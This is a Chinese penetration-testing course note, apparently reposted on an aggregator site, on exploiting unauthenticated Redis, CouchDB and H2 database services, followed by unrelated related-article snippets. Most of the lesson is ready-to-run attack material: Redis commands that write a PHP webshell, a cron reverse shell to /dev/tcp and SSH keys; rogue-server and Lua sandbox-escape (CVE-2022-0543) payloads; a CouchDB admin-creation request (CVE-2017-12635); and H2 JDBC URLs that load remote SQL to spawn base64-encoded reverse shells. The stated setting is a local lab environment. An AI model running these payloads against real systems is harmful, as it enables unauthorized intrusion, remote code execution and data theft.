DAY78服务攻防-数据库安全RedisCouchDBH2database未授权访问CVE 漏洞

知识点:

1、数据库-Redis-未授权RCE&CVE

2、数据库-Couchdb-未授权RCE&CVE

3、数据库-H2database-未授权RCE&CVE

前置知识

1、复现环境:Vulfocus(官方在线的无法使用,需要自己本地搭建)

官方手册:https://fofapro.github.io/vulfocus/#/

本地搭建参考文章:https://blog.csdn.net/m0_60571842/article/details/135677318

2、服务判断:

端口扫描:利用服务开启后目标端口开放判断

组合判断:利用搭建常见组合分析可能开放服务

信息来源:访问端口提示软件版本,应用信息等

强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

3、对象类别:

对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:

主要集中在CVE漏洞,未授权访问,弱口令爆破等

数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis数据库可视化管理工具:https://github.com/qishibo/AnotherRedisDesktopManager/

未授权访问:CNVD-2015-07557

未授权登录

写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

save                           #保存执行

注意:部分web目录可能会没读写权限

find / -name 1.php

写定时任务反弹shell(需要等待1-2分钟才会反弹)

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

注意:

centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态并允许使用密钥登录

本地生成公钥和私钥

将公钥写入到目标的.ssh文件夹

本地私钥ssh 连接

攻击机:ssh-keygen -t rsa  //执行生成key命令

自动化项目

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

python3 redis-rogue-server.py --rhost 1.92.144.175 --rport 25907 --lhost 1.92.144.175

输入r就是反弹shell,输入i就是直接返回一个shell给你执行命令

未授权访问-CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

先编译

``` bash

cd RedisModulesSDK/

make

```

python3 redis-master.py -r 1.92.144.175 -p 39236 -L 1.92.144.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

未授权访问-沙箱绕过RCE-CVE-2022-0543

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和

CVE-2017-12636披露利用。

Couchdb 垂直权限绕过(CVE-2017-12635)

1、先创建用户

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host: 47.94.236.117:44389

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

  "type": "user",

  "name": "xiaodi",

  "roles": ["_admin"],

  "roles": [],

  "password": "xiaodi"

}

2、登录用户验证

Get:/_utils/

xiaodi xiaodi

Couchdb 命令执行 (CVE-2017-12636)

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可

python3 couchdb.py

数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

H2database RCE(CVE-2022-23221)

未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

RCE执行反弹

攻击机上完成,创建数据库文件:h2database.sql

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

启动提供SQL文件远程加载服务

python3 -m http.server 89

目标填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://1.92.144.175:89/h2database.sql';\

攻击机上监听

nc -lvvp xxxx

JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjE0NC4xNzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A 1.92.144.175

//反弹shell命令就行base64编码

/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

攻击端监听就行:

nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:

javax.naming.InitialContext

反弹失败了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147095.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

老牛码看JAVA行业现状

一、坏消息深化与反思&#xff1a; 1、技术瓶颈与框架局限&#xff1a;尽管低代码平台崭露头角&#xff0c;为开发效率带来新气象&#xff0c;但其全面普及尚需时日&#xff0c;Java技术栈的进化似乎陷入了暂时的停滞。开发者们渴望突破&#xff0c;却发现传统框架与模式已难以…

博图V16升级V19前后内存对比

升级V19后固件版本更新到4.6 存储存储空间拓展50% 下图是官方解释 打开博图查看前后对比

[笔记]某变频器,功能列表及参数表

产品代号&#xff1a;INVT GOODDRIVE&#xff0c;这家公司我的产品我似乎在特检院看到过&#xff1f;或者在某个地铁建设工地看到过。是深圳的。 1.产品功能点&#xff1a; 变频锥形电机控制、抱闸转矩验证&#xff1f;抱闸反馈零位检测行程限位超载防护轻载升速&#xff08;…

【超详细】基于YOLOv8训练无人机视角Visdrone2019数据集

主要内容如下&#xff1a; 1、Visdrone2019数据集介绍 2、下载、制作YOLO格式训练集 3、模型训练及预测 4、Onnxruntime推理 运行环境&#xff1a;Python3.8&#xff08;要求>3.8&#xff09;&#xff0c;torch1.12.0cu113&#xff08;要求>1.8&#xff09;&#xff0c…

8. 防火墙

8. 防火墙 (1) 防火墙的类型和结构 防火墙的类型和结构可以根据其在网络协议栈中的过滤层次和实现方式进行分类。常见的防火墙类型包括: 包过滤防火墙:工作在网络层(OSI模型的第3层),主要检查IP包头的信息,如源地址、目的地址、端口号等。电路级网关防火墙:工作在会话层…

idea2021git从dev分支合并到主分支master

1、新建分支 新建一个名称为dev的分支&#xff0c;切换到该分支下面&#xff0c;输入新内容 提交代码到dev分支的仓库 2、切换分支 切换到主分支&#xff0c;因为刚刚提交的分支在dev环境&#xff0c;所以master是没有 3、合并分支 点击push&#xff0c;将dev里面的代码合并到…

对时间序列SOTA模型Patch TST核心代码逻辑的解读

前言 Patch TST发表于ICLR23&#xff0c;其优势在于保留了局部语义信息&#xff1b;更低的计算和内存使用量&#xff1b;模型可以关注更长的历史信息&#xff0c;Patch TST显著提高了时序预测的准确性&#xff0c;Patch可以说已成为时序模型的基本操作。我在先前的一篇文章对P…

【掘金量化使用技巧】用日线合成长周期k线

掘金API中的接口最长的周期是‘1d’的&#xff0c;因此周线/月线/年线等数据需要自己进行合成。 基本思路 用日线合成长周期的k线只需要确定好合成的周期以及需要的数据即可。 周期: 一般行情软件上提供年k、月k、周k&#xff0c;我也选择年、月、周再加一个季度频率。 数据:…

Linux:终端(terminal)与终端管理器(agetty)

终端的设备文件 打开/dev目录可以发现其中有许多字符设备文件&#xff0c;例如对于我的RedHat操作系统&#xff0c;拥有tty0到tty59&#xff0c;它们是操作系统提供的终端设备。对于tty1-tty12使用ctrlaltF*可以进行快捷切换&#xff0c;下面的命令可以进行通用切换。 sudo ch…

GPU加速时代:如何用CuPy让你的Python代码飞起来?

你是不是也有这样的感受:明明写的Python代码很简洁,用NumPy处理数据也很方便,可是一跑起来就慢得像乌龟?尤其是当你面对庞大的数据集时,光是等结果出来,就已经耗掉大半天了。其实,我以前也是这么干的,直到我发现了CuPy,一个能让NumPy飞速跑起来的GPU加速神器。 你…

10. 排序

一、排序的概念及引用 1. 排序的概念 排序&#xff1a;所谓排序&#xff0c;就是使一串记录&#xff0c;按照其中的某个或某些关键字的大小&#xff0c;递增或递减的排列起来的操作。 稳定性&#xff1a;假定在待排序的记录序列中&#xff0c;存在多个具有相同的关键字的记录…

基于SpringBoot的医院管理系统【附源码】

基于SpringBoot的医院管理系统&#xff08;源码L文说明文档&#xff09; 目录 4 系统设计 4.1 系统概述 4系统概要设计 4.1概述 4.2系统结构 4.3.数据库设计 4.3.1数据库实体 4.3.2数据库设计表 5系统详细实现 5.1 医生模块的实现 5.1.…

Mybatis 返回 Map 对象

一、场景介绍 假设有如下一张学生表&#xff1a; CREATE TABLE student (id int NOT NULL AUTO_INCREMENT COMMENT 主键,name varchar(100) NOT NULL COMMENT 姓名,gender varchar(10) NOT NULL COMMENT 性别,grade int NOT NULL COMMENT 年级,PRIMARY KEY (id) ) ENGINEInnoD…

【RocketMQ】一、基本概念

文章目录 1、举例2、MQ异步通信3、背景4、Rocket MQ 角色概述4.1 主题4.2 队列4.3 消息4.4 生产者4.5 消费者分组4.6 消费者4.7 订阅关系 5、消息传输模型5.1 点对点模型5.2 发布订阅模型 1、举例 以坐火车类比MQ&#xff1a; 安检大厅就像是一个系统的门面&#xff0c;接受来…

整合多方大佬博客以及视频 一文读懂 servlet

参考文章以及视频 文章&#xff1a; 都2023年了&#xff0c;Servlet还有必要学习吗&#xff1f;一文带你快速了解Servlet_servlet用得多吗-CSDN博客 【计算机网络】HTTP 协议详解_3.简述浏览器请求一个网址的过程中用到的网络协议,以及协议的用途(写关键点即可)-CSDN博客 【…

大数据可视化-三元图

三元图是一种用于表示三种变量之间关系的可视化工具&#xff0c;常用于化学、材料科学和地质学等领域。它的特点是将三个变量的比例关系在一个等边三角形中展示&#xff0c;使得每个点的位置代表三个变量的相对比例。 1. 结构 三个角分别表示三个变量的最大值&#xff08;通常…

TikTok流量不佳:是网络环境选择不当还是其他原因?

TikTok&#xff0c;作为全球短视频社交平台的佼佼者&#xff0c;每天都有海量的内容被上传和分享。然而&#xff0c;很多用户和内容创作者发现&#xff0c;他们的TikTok视频流量并不理想。这引发了一个问题&#xff1a;TikTok流量不佳&#xff0c;是因为网络环境选择不当&#…

Lumos学习王佩丰Excel第十五讲:条件格式与公式

一、使用简单的条件格式 1、为特定范围的数值标记特殊颜色 条件格式-需选择设定范围&#xff08;大于/小于/介于/......&#xff09;&#xff1a; 数值会动态根据条件判断更新颜色&#xff1a; 模糊匹配&#xff0b;条件格式&#xff1a;选择包含部分文本的特殊值 2、查找重复…

【BurpSuite】Cross-site scripting (XSS 学徒部分:1-9)

&#x1f3d8;️个人主页&#xff1a; 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞&#x1f44d;收藏&#x1f497;支持一下哦 【BurpSuite】Cross-site scripting (XSS 学徒部分:1-9&#xff09; 实验一 Lab: Reflected XSS into HTML context with nothing…

国自然基金项目撰写技巧、技术路线与ChatGPT融合应用

随着社会经济发展和科技进步&#xff0c;基金项目对创新性的要求越来越高。申请人需要提出独特且有前瞻性的研究问题&#xff0c;具备突破性的科学思路和方法。因此&#xff0c;基金项目申请往往需要进行跨学科的技术融合。申请人需要与不同领域结合&#xff0c;形成多学科交叉…